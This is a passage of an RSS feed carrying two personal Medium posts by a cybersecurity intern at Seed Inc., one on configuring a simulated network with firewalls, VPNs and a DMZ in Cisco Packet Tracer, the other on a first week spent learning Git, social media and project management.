            <content:encoded><![CDATA[<p><strong>Week 2 of My Cybersecurity Journey at Seed Inc.: Getting My Hands Dirty with Network Simulation using CISCO Packet Tracer.</strong></p><p>This week was all about network simulation, and let me tell you — it was both exciting and challenging. When I started, I had a basic understanding of networks, but actually setting them up and securing them? That was a whole different experience.</p><p>I worked on configuring end devices (like PCs, laptops phones), routers, switches, firewalls, and VPNs — basically setting up a small network from scratch. I had a simple goal: to ensure that the devices in the network could communicate while keeping security in check. That sounds straightforward, right? Well, not exactly.</p><p>At first, I struggled with configuring the routers and switches. There were so many settings to adjust, and one wrong move meant the entire network wouldn’t work. I spent hours troubleshooting, testing different configurations, and — honestly — getting frustrated. Imagine thinking you have properly configured a router, then, you try sending packets between the networks and it fails. Then having to start configuration all over again. That is an example of the type of frustration.</p><p>When I finally got everything working, it was an amazing feeling. Seeing data flow smoothly between devices, seeing many “successful” status after trying to send a packet because of my properly done configurations was rewarding.</p><p>Then came security. I set up firewalls to control traffic and VPNs to encrypt connections, ensuring that communication between devices was secure. This part really made me appreciate how important network security is. Without these protections, a network is wide open to threats.</p><p>One of the most interesting challenges was working with both wired and wireless networks. With wired networks, you mostly focus on the hardware and configurations, but with wireless, there are additional concerns — like interference and unauthorized access.</p><p>I had to make sure my wireless network was properly encrypted and only allowed trusted devices to connect.</p><p>Let me not forget trying to configure the demilitarized zone (DMZ) between my private network and a public network which proved tough. Got a lot of “% invalid input detected at “^” marker” which indicated errors at almost every step. Luckily for me, after hours of trying and doing research, I was able to configure it correctly.</p><p>After learning all of this, I went into revising the OSI model and Network Security just to make sure to always remember it.</p><p>What I Learned This Week<br>1. <strong>Networking is the backbone of cybersecurity</strong>: Before you can secure anything, you need to understand how data moves across a network (OSI Model).<br>2. <strong>Troubleshooting is a skill on its own</strong>: Things will break. Configurations won’t work on the first try. But figuring out the problem and fixing it is part of the learning process.<br>3. <strong>Hands-on experience makes all the difference</strong>: Reading about network security is one thing, but actually setting up and securing a network? That’s where real learning happens.</p><p>Looking ahead, I want to dive deeper into network threats and security strategies. Understanding how attackers exploit networks will help me learn how to defend them effectively.</p><p>This journey is just beginning, but every challenge makes me more confident.</p><p>A small takeaway; networking is not just about connecting devices. It also ensures fast, realiable and secure communication.</p><p>If you’ve ever worked on network configurations, what was your biggest challenge?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P56IcS5okASLvbrVHXTI7A.png" /><figcaption>private office network with demilitarized zone connected to a public network.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uFvgzQG0lx-mzw-agI29JA.png" /><figcaption>Home wireless network.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d749831e2fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MY FIRST WEEK AT SEED Inc.]]></title>
            <link>https://medium.com/@verdzeleinyuyyefon/my-first-week-at-seed-inc-61efe4790372?source=rss-be919b148998------2</link>
            <guid isPermaLink="false">https://medium.com/p/61efe4790372</guid>
            <category><![CDATA[first-week-at-seed-inc]]></category>
            <category><![CDATA[first-week-at-internship]]></category>
            <dc:creator><![CDATA[LEINYUY-YEFON WILL VERDZE]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 07:23:32 GMT</pubDate>
            <atom:updated>2025-02-22T07:23:32.939Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>MY FIRST WEEK AT SEED Inc.</strong></p><p>I walked into SEED Inc. for my internship, feeling a mix of excitement and nerves. One week in, I am still reeling from the sheer amount of information I have absorbed. from professional training to hands-on projects, it’s been a wild ride.</p><p>Git and GitHub</p><p>My journey began with Git and GitHub. I learned essential commands, configured GitHub. I learned essential commands, configured GitHub, and created repositories. My first assignment was to contribute to a repository, which proved to be a humbling experience. I spent hours trying to figure out why my changes were not being pushed — only to realize, i was making a simple mistake, pushing a fill with it’s extension.</p><p>The Importance of Social Media</p><p>Next up was social media handling. As a techie, I underestimated its significance. But I soon realized that having skills is not enough; <strong>visibility</strong> and <strong>publicity</strong> are crucial. Social media platforms provide a stage to showcase oneself, and presenting oneself <strong>authentically</strong> and <strong>proficiently</strong> is vital.</p><p>Project Management: A Newfound Respect</p><p>I also gained project management skills, which left me in awe of project managers. Their ability to assign tasks, follow up, manage resources, and hold meetings is impressive. I was surprised to find that I actually enjoyed learning about project management — who knows, maybe one day I’ll need to manage a team of cybersecurity specialists!</p><p>Conclusion</p><p>My first week at Seed Inc. has been overwhelming, but exhilarating. I’m eager to continue learning and growing. If this is just the beginning, I can only imagine what the future holds.</p><p>A link to my LinkedIn and X pages is be found below . You can follow my progress.</p><p>LinkedIn: <a href="https://www.linkedin.com/in/leinyuy-yefon-verdze-4270962a5/">https://www.linkedin.com/in/leinyuy-yefon-verdze-4270962a5</a>/</p><p>X: <a href="https://x.com/Will_Verdze?t=c8zCBslvk3jkWYrX1fLeNg&amp;s=09">https://x.com/Will_Verdze https://x.com/Will_Verdze?t=c8zCBslvk3jkWYrX1fLeNg&amp;s=09</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61efe4790372" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>